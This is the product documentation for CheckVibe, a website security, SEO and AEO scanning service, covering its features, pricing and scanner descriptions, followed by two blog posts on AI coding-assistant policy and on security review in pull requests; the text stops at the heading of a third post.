# CheckVibe

> CheckVibe is an all-in-one security, SEO, and AEO scanner for any website — production SaaS, marketing sites, e-commerce, and AI-/vibe-coded apps alike. Enter a URL and get 100+ security checks (including live Supabase RLS testing), 68 SEO checks, and 46 AEO checks — plus uptime monitoring with public status pages, Core Web Vitals performance monitoring, accessibility checks, and email deliverability monitoring. From $0.

CheckVibe scans websites for security vulnerabilities in under 60 seconds. It runs 100+ security checks in parallel — with site crawling — to detect issues before attackers do. It also audits how visible a site is to Google and AI answer engines (ChatGPT, Perplexity, Claude, Gemini) with 113 SEO/AEO checks, and watches site health continuously: uptime (60-second external checks with public status pages), real-user Core Web Vitals with regression alerts, WCAG accessibility signals, email deliverability (SPF/DKIM/DMARC), and domain hygiene (expiry, DNS drift, certificates).

## What CheckVibe Does

CheckVibe is a SaaS security scanning platform for web developers, indie hackers, and teams who ship fast. Enter a URL, click scan, and get a comprehensive security audit covering:

- SQL injection detection (error-based, time-based, blind)
- Cross-site scripting (XSS) detection (reflected, stored, DOM-based)
- Exposed API key scanning (100+ provider patterns including AWS, Stripe, Supabase, Firebase, GitHub, Twilio)
- Security header analysis (CSP, HSTS, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy)
- SSL/TLS certificate and cipher auditing
- CORS misconfiguration detection
- CSRF vulnerability testing
- Cookie security analysis (Secure, HttpOnly, SameSite)
- DNS configuration checks (DNSSEC, SPF, DKIM, DMARC)
- Open redirect detection
- File upload vulnerability scanning
- DDoS protection analysis (WAF, CDN, rate limiting)
- Domain hijacking risk assessment
- Dependency vulnerability scanning (npm CVEs)
- GitHub secret leak detection
- GraphQL introspection leak detection
- JWT weakness analysis
- Input validation flaw detection
- Debug endpoint exposure scanning
- Authentication bypass testing
- Backend-specific security checks (Supabase RLS, storage buckets, auth settings)
- Hosting provider audits (Vercel, Netlify, Cloudflare)
- Audit logging and monitoring assessment
- Mobile API security checks
- Site crawling and endpoint discovery

## Site Crawling

CheckVibe crawls your entire site before scanning — discovering pages via robots.txt, sitemap.xml, HTML links, and JavaScript route extraction. Multi-URL scanners then test each discovered endpoint individually, so nothing is missed.

## SEO & AEO Visibility Scanning

Beyond security, CheckVibe audits search and AI-answer-engine visibility:

- SEO scanner (68 checks): indexability, canonicals, sitemaps, structured data depth, Core Web Vitals (CrUX field data), meta tags, internal linking, response times
- AEO scanner (45 checks): llms.txt, AI-crawler access (GPTBot, ClaudeBot, PerplexityBot), answer-ready content structure, entity grounding, schema for answer engines, per-engine readiness matrix
- Results live in a dedicated SEO & AEO dashboard tab, separate from the security score

Learn more: https://checkvibe.dev/products/seo-aeo

## Site Health Monitoring

CheckVibe also watches the layers under and around the app — availability, speed, accessibility, and the infrastructure record:

- Uptime monitoring: external checks every 60 seconds (HEAD with GET fallback, 10s timeout), incident tracking with consecutive-failure thresholds and error classes (DNS, TLS, refused, timeout, 5xx), down + recovery email alerts, and a public status page per project with live state, 90-day daily history, and uptime percentages
- Performance: lab diagnostics (TTFB, compression, HTTP/2/3, redirects, page weight, render-blocking resources, image optimization) fused with real-user Core Web Vitals from the Chrome UX Report (28-day p75 LCP/INP/CLS, phone-first, 40 weeks of history) plus an optional RUM snippet; daily regression watch alerts when a vital regresses materially or crosses Google's thresholds
- Accessibility: 27 WCAG 2.x Level AA signals across structure, forms, navigation/focus, and media — EAA-relevant, on the homepage plus sampled interior pages
- Email deliverability: SPF (with recursive 10-lookup-limit counting), DKIM selector discovery, DMARC policy grading, MX/null-MX, MTA-STS, TLS-RPT, BIMI readiness, and a managed DMARC aggregate-report inbox
- Domain Watchtower: RDAP expiry runway and transfer locks, nameserver drift, DNSSEC, CAA records, certificate expiry via Certificate Transparency logs, apex/www/IPv6 hygiene
- SSL/TLS grade: A+ to F from protocol versions, cipher strength, forward secrecy, certificate health, HSTS, and mixed content

Learn more: https://checkvibe.dev/products/monitors

## MCP Server Integration

CheckVibe provides a native MCP (Model Context Protocol) server at `@checkvibe/mcp-server` on npm. Compatible developer tools can run security scans, SEO/AEO visibility audits, get results, and manage projects directly from the local workflow. 13 tools available: run_scan, run_seo_aeo_scan, get_scan_results, get_visibility_results, list_scans, list_projects, get_project, update_project, delete_project, delete_scan, dismiss_finding, list_dismissals, restore_finding.

## Remediation Guidance

Every finding includes remediation guidance that explain the vulnerability and provide code-level remediation steps specific to your tech stack.

## Pricing

- **Free** ($0/month): 1 project, 4 scans/month, blurred finding details, no API keys
- **Starter** ($24/month): 1 project, 30 scans/month, 1 API key, full finding details, PDF export, remediation guidance, API access, priority support
- **Pro** ($39/month): 5 projects, 155 scans/month, 5 API keys, all Starter features plus daily monitoring and live threat detection
- **Max** ($59/month): 50 projects, unlimited scans, 20 API keys, custom monitoring schedules (every 6 hours, daily, weekly), dedicated support

Annual billing saves 30%. Prices available in USD, EUR, GBP, and CHF.

## Who CheckVibe Is For

- Any business that wants its production website secure, fast, and visible in Google and AI search (ChatGPT, Claude, Perplexity, Gemini)
- Solo developers and indie hackers shipping side projects
- Small teams building SaaS products
- Agencies auditing client websites
- Developers shipping quickly who want to verify security
- Teams who need continuous security monitoring without hiring a pentester
- Anyone shipping on modern stacks (Next.js, Supabase, Firebase, Vercel, Netlify)

## How CheckVibe Compares to Alternatives

Fact-checked, sourced comparison pages (every competitor claim verified against their live site, with verification dates):

- vs Vibe App Scanner: https://checkvibe.dev/compare/checkvibe-vs-vibe-app-scanner — they sell one-time security audits ($9–19) and a $99/mo plan, security-only; CheckVibe adds SEO + AEO + monitoring on subscriptions from $0.
- vs Aikido Security: https://checkvibe.dev/compare/checkvibe-vs-aikido — Aikido is code-to-cloud AppSec for teams (paid from €300/mo); CheckVibe is URL-first for solo devs ($0–59/mo) with SEO/AEO coverage Aikido doesn't offer.
- vs VibeEval: https://checkvibe.dev/compare/checkvibe-vs-vibeeval — agent-based deep security testing ($19/mo) vs all-in-one security + visibility from $0.
- vs Scanbee: https://checkvibe.dev/compare/checkvibe-vs-scanbee — DAST+SAST+SCA+CSPM security suite vs all-in-one with SEO/AEO and live paid plans.
- vs VibeWrench: https://checkvibe.dev/compare/checkvibe-vs-vibewrench — 18-tool budget toolbox vs deep dedicated scanning.
- vs VibeCheck (runvibecheck.com): https://checkvibe.dev/compare/checkvibe-vs-vibecheck — repo code audit vs live-app testing.
- Vibe App Scanner alternatives: https://checkvibe.dev/alternatives/vibe-app-scanner
- Aikido alternatives for solo devs: https://checkvibe.dev/alternatives/aikido
- **vs. manual penetration testing**: CheckVibe provides continuous, automated monitoring. Pentests are point-in-time. CheckVibe complements pentesting by covering every deploy.
- **vs. Snyk/Dependabot**: Those focus on dependency CVEs only. CheckVibe scans your live site for runtime vulnerabilities (XSS, SQLi, exposed keys, misconfigs).
- **vs. OWASP ZAP**: ZAP is a free open-source tool requiring manual setup. CheckVibe is a managed SaaS with site crawling, 100+ checks, remediation guidance, and a dashboard.
- **vs. Burp Suite**: Burp is a professional pentesting tool with a steep learning curve. CheckVibe is designed for developers who want instant, automated results.

## Best-of Guides (fact-checked, with sources)

- Best AEO tools for vibe-coded apps (2026): https://checkvibe.dev/best/aeo-tools-for-vibe-coded-apps
- Best all-in-one SEO + AEO + security scanner: https://checkvibe.dev/best/all-in-one-seo-aeo-security-scanner
- Best security scanner for Lovable: https://checkvibe.dev/best/security-scanner-for-lovable
- Best security scanner for Bolt.new: https://checkvibe.dev/best/security-scanner-for-bolt
- Best security scanner for Cursor: https://checkvibe.dev/best/security-scanner-for-cursor
- Best security scanner for v0: https://checkvibe.dev/best/security-scanner-for-v0
- Best security scanner for Replit: https://checkvibe.dev/best/security-scanner-for-replit
- Best security scanner for Windsurf: https://checkvibe.dev/best/security-scanner-for-windsurf

## Secure & Rank Guides (per platform)

How to secure AND rank apps built with each AI tool — security risks, fixes, and SEO/AEO steps:

- Bolt.new: https://checkvibe.dev/secure/bolt-new
- Lovable: https://checkvibe.dev/secure/lovable
- v0 by Vercel: https://checkvibe.dev/secure/v0
- Cursor / Claude Code: https://checkvibe.dev/secure/cursor
- Supabase: https://checkvibe.dev/secure/supabase
- Firebase: https://checkvibe.dev/secure/firebase
- Replit Agent: https://checkvibe.dev/secure/replit-agent
- Windsurf: https://checkvibe.dev/secure/windsurf

## Links

- Website: https://checkvibe.dev
- Blog: https://checkvibe.dev/blog
- Sign Up: https://checkvibe.dev/signup
- Pricing: https://checkvibe.dev/#pricing
- SEO & AEO Scanner: https://checkvibe.dev/products/seo-aeo
- All Security Checks: https://checkvibe.dev/security-checks
- What Is AEO: https://checkvibe.dev/blog/what-is-aeo-answer-engine-optimization
- AEO for Vibe-Coded Apps: https://checkvibe.dev/blog/aeo-for-vibe-coded-apps
- How to Rank a Vibe-Coded SPA in AI Search: https://checkvibe.dev/blog/how-to-rank-vibe-coded-spa-in-ai-search
- Why AI Engines Can't Find Your Lovable Site: https://checkvibe.dev/blog/why-ai-engines-cant-find-your-lovable-site
- SEO vs AEO: https://checkvibe.dev/blog/seo-vs-aeo-difference
- Can ChatGPT See Your Website: https://checkvibe.dev/blog/check-if-chatgpt-can-see-your-website
- All Comparisons: https://checkvibe.dev/compare
- Uptime Monitoring Guide: https://checkvibe.dev/blog/website-uptime-monitoring-guide
- Core Web Vitals Lab vs Field: https://checkvibe.dev/blog/core-web-vitals-lab-vs-field-data
- Automated Accessibility Testing: https://checkvibe.dev/blog/automated-accessibility-testing-wcag
- SSL/TLS Grade Explained: https://checkvibe.dev/blog/ssl-tls-grade-explained
- DNS & Email Security Check: https://checkvibe.dev/security-checks/dns-email-security
- RSS Feed: https://checkvibe.dev/feed.xml
- Full Documentation: https://checkvibe.dev/llms-full.txt
- Contact: support@checkvibe.dev


---

# Detailed Scanner Descriptions

## Security Headers Scanner
Checks for the presence and configuration of critical HTTP security headers: Content-Security-Policy (CSP), Strict-Transport-Security (HSTS), X-Frame-Options, X-Content-Type-Options, Referrer-Policy, and Permissions-Policy. Flags missing, weak, or misconfigured headers. Multi-URL: tests each discovered page individually.

## SQL Injection Scanner
Tests all accessible input vectors (URL parameters, form fields, headers) with error-based, time-based, and blind SQL injection payloads. Detects both classic and modern injection patterns. Multi-URL: tests each discovered endpoint.

## XSS Scanner
Injects hundreds of cross-site scripting payloads across reflected, stored, and DOM-based attack vectors. Tests various encoding bypasses and context-aware payloads. Multi-URL: tests each discovered page.

## API Key Scanner
Pattern-matches against 100+ known API key formats (AWS, Stripe, Supabase, Firebase, GitHub, Twilio, SendGrid, OpenAI, Anthropic, etc.) in page source, JavaScript bundles, and network requests. Performs entropy analysis for unknown key formats. Multi-URL: scans each page's source.

## SSL/TLS Scanner
Validates certificate chain, expiration, protocol versions (TLS 1.2+), cipher suite strength, and HSTS configuration. Flags deprecated protocols and weak ciphers.

## CORS Scanner
Tests Cross-Origin Resource Sharing configuration for overly permissive policies (wildcard origins, credential sharing, preflight bypasses, null origin, origin reflection). Multi-URL: tests each endpoint.

## CSRF Scanner
Checks for Cross-Site Request Forgery protections: token presence, SameSite cookie attributes, and custom header requirements on state-changing endpoints. Multi-URL.

## Cookie Scanner
Audits all cookies for Secure flag, HttpOnly flag, SameSite attribute, proper expiration, and path/domain restrictions. Multi-URL.

## DNS Scanner
Checks DNSSEC configuration, SPF records, DKIM signing, DMARC policy, and identifies potential DNS-related attack vectors.

## DDoS Protection Scanner
Detects WAF presence (Cloudflare, AWS WAF, etc.), CDN usage, rate limiting implementation, and basic DDoS mitigation measures.

## Domain Hijacking Scanner
Assesses domain registration security via RDAP, nameserver integrity and diversity, typosquatting risk, zone exposure, and NS security configuration.

## GraphQL Introspection Scanner
Detects exposed GraphQL endpoints and tests for introspection query availability, which can reveal your entire API schema to attackers. Multi-URL.

## JWT Audit Scanner
Analyzes JSON Web Tokens for weak algorithms (none, HS256 with weak keys), missing expiration, improper signature validation, and information disclosure in payloads.

## Input Validation Scanner
Tests form inputs and API parameters for missing or weak validation — detecting potential for injection, overflow, and type confusion attacks. Multi-URL.

## Debug Endpoint Scanner
Discovers exposed debug endpoints, stack traces, error pages with sensitive information, and development tools left in production. Multi-URL.

## Authentication Scanner
Tests authentication flows for common weaknesses: user enumeration, brute force vulnerability, insecure password policies, and session management issues. Multi-URL.

## Open Redirect Scanner
Detects URL parameters that can redirect users to attacker-controlled sites — used in phishing and OAuth token theft. Multi-URL.

## File Upload Scanner
Tests file upload functionality for dangerous file type acceptance, missing validation, path traversal, and unrestricted upload sizes. Multi-URL.

## Dependency Vulnerability Scanner
Scans detected JavaScript dependencies for known CVEs using the npm advisory database.

## GitHub Security Scanner
Checks connected GitHub repositories for exposed secrets, security alerts, branch protection rules, and security policy files.

## Supabase Security Scanner
Audits Supabase projects for exposed service role keys, tables with RLS disabled, missing policies, and misconfigured auth settings.

## Vercel Security Scanner
Checks Vercel deployments for exposed environment variables, preview deployment leaks, and security header configuration.

## Netlify Security Scanner
Audits Netlify deployments for exposed build logs, environment variables, and redirect misconfigurations.

## Cloudflare Security Scanner
Checks Cloudflare configuration for DNS leaks, WAF bypass potential, and SSL/TLS settings.

## Threat Intelligence Scanner (Pro only)
Monitors for active threats targeting your domain: phishing campaigns, domain spoofing, brand impersonation, and dark web mentions.

## Scorecard Scanner
Calculates an overall security score based on all scanner results, weighted by severity and impact.

## Mobile API Scanner
Tests mobile-facing API endpoints for platform-specific vulnerabilities and insecure data handling.

## Audit & Legal Scanner
Checks for presence of privacy policy, terms of service, cookie consent, and compliance indicators.

## Tech Stack Scanner
Identifies the technology stack (frameworks, libraries, CDN, hosting) to contextualize security findings.

## Site Crawler
BFS-based site crawler that discovers pages via robots.txt, sitemap.xml, HTML link extraction, and JavaScript route detection. Respects crawl limits per plan. Provides discovered URLs to all multi-URL scanners.

---

# Frequently Asked Questions

Q: What is CheckVibe?
A: CheckVibe is an always-on security monitoring platform that crawls your entire site and runs 100+ automated checks to detect vulnerabilities like SQL injection, XSS, exposed API keys, misconfigured headers, GraphQL introspection leaks, JWT weaknesses, and more.

Q: How does CheckVibe work?
A: Enter your URL, click scan. CheckVibe crawls your site to discover every page and endpoint, then runs 100+ security checks in parallel. Results are ready in under 60 seconds with severity ratings and remediation guidance.

Q: What vulnerabilities does CheckVibe detect?
A: SQL injection, XSS, exposed API keys (100+ patterns), CORS misconfigurations, missing security headers, weak SSL/TLS, CSRF, open redirects, GraphQL introspection, JWT weaknesses, input validation flaws, debug endpoints, dependency CVEs, DNS issues, and BaaS misconfigurations (Supabase).

Q: How much does CheckVibe cost?
A: Paid plans unlock the full report with every finding and fix. Starter unlocks AI fix prompts, more scans, and API access. Pro adds more projects, more scans, and threat detection. Custom plans available for teams. Annual billing saves 30%. Prices shown in USD, EUR, GBP, or CHF based on visitor location — see checkvibe.dev/pricing for current rates.

Q: How does CheckVibe compare to OWASP ZAP?
A: OWASP ZAP is a free, manual tool for security researchers. CheckVibe is a managed SaaS designed for developers — 100+ automated checks, site crawling, remediation guidance, BaaS auditing, and MCP integration, all with zero configuration.

Q: Does CheckVibe support CI/CD integration?
A: Yes. CheckVibe provides a REST API (trigger scans and fetch results from any pipeline), webhooks, and MCP server support for compatible developer tools.

---

# Blog Articles

## An AI Coding Assistant Policy Your Engineers Will Actually Follow

*A short, enforceable policy for Copilot, Cursor and Claude Code on a real codebase: what to allow, what to gate in review, and which rules to skip.*

Published: 2026-08-31 | Reading time: 9 min read
URL: https://checkvibe.dev/blog/ai-coding-assistant-policy-for-teams


Your engineers are already using AI coding assistants. The only decision left is whether you have a policy, and whether that policy is one they will follow or one they will route around.

Most published AI coding policies fail for the same reason: they are written as prohibitions nobody can verify. "Do not paste proprietary code into external tools" is unenforceable on a laptop with an IDE extension. A policy that cannot be checked is not a control — it is a document you will show an auditor and quietly know is fiction.

Here is a shorter policy that holds up, built around the observation that **the risk is not that AI writes bad code. It is that AI writes plausible code, quickly, in volume, and review capacity does not scale with it.**

## What actually goes wrong

Not "AI hallucinates." The recurring, boring failure modes:

**Security defaults get skipped, not broken.** An assistant asked for "an API route that returns a user's orders" produces a working route. It does not produce an authorisation check, because you did not ask for one and the code works without it. Nothing is *wrong* in the generated code — something is *absent*, and absence does not look like a bug in review.

**Configuration gets copied out of tutorials.** Permissive CORS, a Supabase table without row-level security, `NEXT_PUBLIC_` on something that should never reach a browser, a header set to a value that appears in a blog post. These come from the training distribution, where tutorial code massively outnumbers production code.

**Volume outruns review.** A generated 400-line diff gets the same fifteen minutes of attention a hand-written 40-line diff would. This is the real multiplier and no amount of prompt discipline fixes it.

**Dependencies arrive without a decision.** An assistant reaches for a package. It gets installed. Nobody evaluated it, and sometimes nobody checked it exists — a suggested-but-nonexistent package name is an opening for someone to register it.

## The policy: six rules, all checkable

Short enough to read, and every rule has a mechanical check behind it. That second property is what separates this from a document.

### 1. Assistants are allowed. Generated code is reviewed like any other code.

State the permission explicitly. A policy that starts by restricting tools everyone already uses gets ignored in full, including the parts that matter.

*Check:* branch protection requiring review. Already in place for most teams.

### 2. No secrets in the repository, generated or written.

Assistants inline example credentials and sometimes real ones from context. This is the single highest-value rule because a secret in git history costs rotation plus history rewriting, not deletion.

*Check:* secret scanning that blocks the merge. Not a comment — a block. See [security review in pull requests](/blog/pull-request-security-review).

### 3. New routes and new database access get an authorisation reviewer.

The most common real gap. Make it a named requirement so it survives a busy week: any PR adding an endpoint or a new query path needs someone to explicitly say "I checked the authorisation."

*Check:* a required checklist item or a path-based CODEOWNERS rule on your routes and data-access directories.

### 4. New dependencies get a line in the PR description.

One sentence: why this package, and what it replaces. Not a committee — just enough friction that nobody installs something an assistant mentioned without reading its name.

*Check:* a lockfile diff in CI that fails when dependencies changed and the PR body has no dependency note.

### 5. Generated diffs over 300 lines get split or paired.

The rule engineers will push back on, and the one that catches the most. A large generated diff is not reviewable at normal attention; either split it into reviewable commits or review it live with the author.

*Check:* a CI warning on diff size. Advisory, not blocking — this needs judgement.

### 6. The deployed application is scanned on a schedule, not just the code.

Static review cannot see what only exists at runtime: the headers the server actually sends, whether that Supabase table is readable with the anon key, whether a key reached the shipped JavaScript bundle. Assistants generate configuration as readily as code, and configuration mistakes are runtime-visible only.

*Check:* a scheduled scan of the deployed app, with findings landing in a queue with an owner and a deadline.

## The rules to leave out

Equally important, because every unenforceable rule discounts the ones next to it.

**"Do not paste proprietary code into AI tools."** Unenforceable with IDE extensions and unverifiable on a personal machine. If the concern is real, address it at the tool-selection layer: choose assistants with a business tier that contractually excludes training on your input, and configure them centrally. That is a procurement control, not an engineering rule.

**"Disclose AI-generated code in commit messages."** Nobody complies consistently, the boundary is meaningless once autocomplete is involved, and the disclosure changes nothing about how the code is reviewed. If generated code needs different review, encode that in the review rule, not in a label.

**"Only use approved models."** Approve the *tool*, not the model. Model versions change weekly and any list is stale on arrival.

**"AI may not write security-relevant code."** Everything touching a request is security-relevant. This rule reads as caution and functions as a prohibition on the work, so it gets ignored, and its neighbours lose credibility with it.

## Choosing tools: the questions worth asking

Before the engineering policy, three procurement questions that actually change your exposure:

1. **Is your code used for training?** All major assistants offer a business or enterprise tier that says no. Get the tier and get it in writing; the free tier's terms are usually different.
2. **Where is the context sent and retained?** Ask for the retention period and the region. This lands on your subprocessor list, which lands in your next [security questionnaire](/blog/security-questionnaire-answers).
3. **Can settings be enforced centrally?** An assistant configured per-laptop is configured differently on every laptop. Central policy enforcement is the difference between a control and a suggestion.

## The measurement that tells you whether it is working

One number: **new findings per merged pull request, tracked monthly.**

If assistant adoption rises and this holds flat, review is keeping up. If it climbs, review capacity is the bottleneck and rules 3 and 5 need tightening. It is a leading indicator, it does not require anyone to self-report, and it survives a change of tools.

Pair it with **median time to remediate**, so you can see whether the queue is absorbing the new volume or just accumulating it.

## What CheckVibe covers here

Concretely, for the checks above:

- **Secret detection** across the deployed JavaScript bundle and connected repositories, matching provider key formats with their real prefixes plus entropy analysis — pattern-based and deterministic, so the same diff produces the same answer every time.
- **PR review** with inline, committable suggestions scoped to the diff, and new-versus-closed counts against the base branch, so the comment reflects what the branch introduced.
- **Runtime checks** on the deployed application: security headers, CORS as the server actually answers it, live Supabase row-level-security probing with the public anon key, TLS configuration, and publicly reachable debug or admin routes.
- **Shared triage with SLAs** on both team tiers, so scheduled-scan findings get an owner and a materialised deadline rather than a dashboard number.
- **An append-only audit log** — 180 days on Team Basic, a year on Team Advanced — which is what turns "we review generated code" into something evidenceable.

Team plans are $25 per seat per month, five-seat minimum, with Jira/Linear sync and compliance reporting on Team Advanced at $50. [The pricing page](/pricing) has the detail, and [auditing Cursor and Copilot output](/blog/cursor-copilot-security-audit) goes deeper on the code-level checks.

## Frequently Asked Questions

### Should we ban AI coding assistants?

No, and a ban is the least enforceable option available — engineers will use them on personal machines where you have no visibility at all. Permit them explicitly and put the controls where they are checkable: secret scanning that blocks merges, an authorisation reviewer on new routes and data access, a size limit on generated diffs, and scheduled scanning of the deployed application.

### What is the biggest security risk of AI-generated code?

Omission rather than error. Asked for an endpoint, an assistant produces one that works, and working code does not require an authorisation check — so the check is simply absent. Absence is much harder to spot in review than a bug, because there is no wrong line to point at. Second is volume: generated diffs are larger and get the same review attention as hand-written ones.

### Do we need a written AI coding policy for SOC 2?

No control in the Trust Services Criteria names AI tools. What auditors ask is whether code changes are reviewed and approved before production, which your existing change-management control already covers. A short AI policy is still worth having for enterprise security questionnaires, where the question is now common, and it is easier to answer with a one-page document than with a paragraph written under deadline.

### How do you review a 500-line AI-generated pull request?

You do not, meaningfully — not in one pass. Either split it into commits that each do one thing, or review it live with the author, who can explain the intent that the diff does not carry. A CI warning on diff size makes the choice visible before review starts. Treating a large generated diff as reviewable at normal attention is how omitted authorisation checks reach production.

### Which AI coding tools are safe for proprietary code?

The question is contractual, not technical: every major assistant offers a business or enterprise tier that excludes your input from training, and the free tiers generally do not. Get the paid tier, get the exclusion in writing, ask for the retention period and region, and add the vendor to your subprocessor list. Then enforce the configuration centrally, because per-laptop settings are not a control.

### Does static code analysis catch AI-generated security problems?

Partly. It catches injection patterns, hardcoded secrets and unsafe API usage in the code itself. It cannot see the configuration mistakes assistants produce just as readily — permissive CORS as the server actually answers, a database table readable with the public key, a secret that reached the browser bundle, a missing security header. Those are only visible against the running deployment, which is why scheduled runtime scanning belongs in the policy alongside code review.

---

*CheckVibe scans the deployed app and the repository, comments on pull requests, and puts what it finds in a shared queue with an owner and a deadline. [See what teams get](/pricing), or [run a free scan](https://checkvibe.dev).*


---

## Automated Security Review in Pull Requests: What Works and What Just Adds Noise

*How to put security checks inside code review without teaching your team to ignore the bot: what to block on, what to comment on, what to leave out.*

Published: 2026-08-31 | Reading time: 10 min read
URL: https://checkvibe.dev/blog/pull-request-security-review


The cheapest security fix is the one that happens before merge, while the author still has the change in their head. The most expensive one is the same fix six weeks later, in a backlog, assigned to whoever has capacity.

That is the entire case for security review inside the pull request. It is also, in practice, the fastest way to build a bot every engineer dismisses, because most implementations comment on everything and block on nothing useful. This is how to get the first outcome instead of the second.

## The rule: block on the diff, report on the repository

Almost every noisy PR security bot fails the same way — it reports the *repository's* problems on a *change's* review.

Draw the line here:

- **In the PR:** only what this diff introduced or changed. A new endpoint without an auth check. A secret added to a committed file. A dependency bumped to a version with a known CVE. Roughly: could the author fix it in this branch, right now, with the context they already have?
- **Outside the PR:** everything the repository already had. Pre-existing findings, headers that were never set, an old dependency nobody touched. That belongs in a queue with an owner and a deadline — see [remediation SLAs](/blog/vulnerability-remediation-sla) — not on the review of an unrelated typo fix.

Get this wrong and a two-line change collects fourteen comments about things the author did not do. The team learns to scroll past the bot within a week, and after that the tool is worse than nothing: it is a control you will report to an auditor that nobody reads.

## What is worth blocking a merge on

A failing check that cannot be overridden is a strong statement. Spend it on findings that are (a) almost never false positives and (b) genuinely worse after merge than before.

**Block on:**

- **A live credential in the diff.** Once it is in git history, remediation is rotation plus history rewriting, not deletion. This is the strongest possible case for a hard block.
- **A secret-shaped value under a public-by-design prefix.** `NEXT_PUBLIC_`, `VITE_`, `REACT_APP_` — anything so prefixed is compiled into the browser bundle. A token-shaped value behind one of those prefixes is a shipped secret.
- **A new dependency with a known critical CVE.** Cheap to check, cheap to fix at the moment of adding, expensive to unpick later.

**Comment, do not block:**

- A new route with no visible authorisation check. Frequently correct, occasionally a public endpoint on purpose. Worth a question, not a wall.
- SQL assembled by string interpolation. Usually a real problem, sometimes a migration script the reviewer knows is fine.
- A new `dangerouslySetInnerHTML`, `eval`, or an unsanitised redirect target.
- CORS or cookie configuration loosened in the diff.

**Neither — put it in the queue:**

- Anything the repository already had before this branch existed.
- Anything requiring a running deployment to confirm: TLS grade, live headers, uptime.
- Style and maintainability. Real, but not this bot's job.

## Comments engineers act on

The difference between a comment that gets fixed and one that gets resolved-without-reading is almost always specificity.

A weak comment:

> ⚠️ **Potential security issue detected.** Possible hardcoded secret. Severity: HIGH. Confidence: MEDIUM. See documentation for remediation guidance.

A comment that gets fixed:

> `src/lib/mail.ts:14` — this is a live SendGrid key (`SG.` prefix, 69 chars). It is in the diff, so it will be in git history after merge; rotate it as well as removing it. Suggested change below moves it to an environment variable.
>
> ```suggestion
> const apiKey = process.env.SENDGRID_API_KEY;
> ```

Four things make the second one work:

1. **Exact location.** File and line, not "somewhere in this PR".
2. **Why it is true.** The `SG.` prefix and the length are the evidence. An engineer can verify the claim in two seconds instead of taking it on faith.
3. **The consequence they might not know.** Removing the line does not un-leak the key.
4. **A committable suggestion.** GitHub and GitLab both render a `suggestion` block as a one-click commit. The gap between "understands the fix" and "has applied the fix" is where most findings die.

That last point is worth more than any detection improvement. A finding with a one-click fix gets fixed at a completely different rate from one with a paragraph of advice.

## Deterministic checks beat a language model here

There is a strong pull toward putting an LLM in the review loop. In a pull request specifically, it is usually the wrong trade.

A PR check runs on every push from every engineer, several dozen times a day. It needs to be:

- **Fast.** Seconds. A check that takes two minutes gets merged around.
- **Deterministic.** The same diff must produce the same comments. A bot that flags something on Tuesday and stays quiet on Wednesday for the same code destroys its own credibility, and it cannot be evidenced as a control that "operated consistently".
- **Cheap.** It runs constantly.

Pattern-based detection — secret formats with their real prefixes and entropy, unsafe API usage, dependency versions against an advisory database — is fast, deterministic, and free. Save the model for the parts where judgement genuinely helps: writing the explanation, or drafting a fix for a finding that is already confirmed.

## Reporting what changed, not what exists

The most useful number on a PR comment is not "23 issues". It is:

> **2 new · 1 fixed** since `main`

That framing does three things. It tells the author what *they* introduced. It gives credit for what the branch cleaned up, which is the only mechanism that makes anyone volunteer to fix an old finding. And it makes the comment shrink to nothing on the majority of PRs that introduce no new issues — which is the honest outcome, and the thing that keeps the team reading the comment when it does say something.

## Rolling it out without a revolt

**Week 1 — observe only.** Run the checks, post the comment, block nothing. Read what it produces yourself before anyone else has to.

**Week 2 — cut the noise.** Turn off every rule that produced a false positive. Do this ruthlessly and before the team's opinion sets. One wrong block costs more trust than ten correct comments earn.

**Week 3 — turn on the hard block, for secrets only.** One rule, the one nobody argues with. Let the team experience the bot being right.

**Week 4 — widen carefully.** Add blocking rules one at a time, each with a visible override path. An override that requires a comment saying why is a control; an override that requires a Slack message to whoever owns the config is a bottleneck people route around.

## What CheckVibe does in a pull request

Specifically, so this is checkable:

- **Inline review comments** on the changed lines, with committable ```` ```suggestion ```` blocks where the fix is mechanical.
- **New and closed counts** relative to the base branch, so the comment reflects the diff rather than the repository.
- **Deterministic checks** — the AutoFix path is pattern-based by design, not model-generated, so the same diff produces the same output every time.
- **Per-repository options**, so a monorepo and a marketing site do not have to share a policy.
- **Write access is opt-in.** Posting review comments needs an explicitly granted write scope; connect read-only and it will still scan and report, it just will not comment.
- **A patch export** you can `git apply` locally when you would rather not let a tool commit to your branch at all.
- Findings that are *not* diff-scoped land in the shared queue with an owner and an SLA rather than on the review.

PR review is on both team tiers, from $25 per seat per month with a five-seat minimum. [The pricing page](/pricing) has the rest.

## Frequently Asked Questions

### Should a security check block a merge?

For a small number of near-certain findings, yes — a live credential in the diff is the clearest case, because after merge the fix is rotation plus history rewriting rather than deletion. For judgement calls like a route with no visible auth check, comment instead. Every blocking rule you add that produces one false positive costs more team trust than several correct comments earn back.

### How do you stop a PR security bot becoming noise?

Scope it to the diff. Report only what this branch introduced or changed, and route everything the repository already had into a tracked queue with an owner and a deadline. A bot that comments on pre-existing findings during an unrelated review teaches the team to scroll past it, and a control nobody reads is worse than no control, because you will still report it as one.

### Is SAST in CI enough, or do you need scanning of the deployed app too?

They find different things. Static analysis reads code paths and catches injection patterns, hardcoded secrets and unsafe API usage before merge. Scanning the deployed app catches what only exists at runtime: missing security headers, live TLS configuration, CORS as the server actually answers it, publicly readable database tables, and secrets that reached the shipped JavaScript bundle regardless of how they got there. Teams that run only one of the two have a predictable blind spot.

### Should an LLM review pull requests for security?

Not as the detection layer. A PR check runs dozens of times a day and needs to be fast, cheap, and identical on identical input — a bot whose findings vary between runs cannot be trusted by engineers or evidenced as a control that operated consistently. Pattern-based detection gives you that. A model is better spent on explaining a confirmed finding or drafting a fix than on deciding what counts as one.

### What should a PR security comment actually contain?

File and line, the evidence for the claim, the consequence the author might not know, and a committable suggestion where the fix is mechanical. The evidence matters most: "this is a live SendGrid key, `SG.` prefix, 69 characters" can be verified in seconds, while "possible hardcoded secret, confidence medium" asks the reader to take it on trust — and they will not.

### Does scanning pull requests require giving a tool write access to the repository?

Only if you want it to comment. Read access is enough to clone, scan and report findings in your own dashboard. Posting review comments or opening fix branches needs an explicitly granted write scope, which is worth treating as a separate decision — and a patch you apply locally with `git apply` is a reasonable middle ground for teams that would rather no external tool committed to their branches.

---

*CheckVibe posts inline, committable security suggestions on pull requests, scoped to the diff, on both team tiers. [See what teams get](/pricing), or [scan your deployed app free](https://checkvibe.dev) to see what runtime checks add on top.*


---

## How to Answer a Security Questionnaire Without Stalling the Deal

*The questions enterprise buyers actually send small vendors, how to answer honestly when the answer is no, and what to prepare before the first one.*

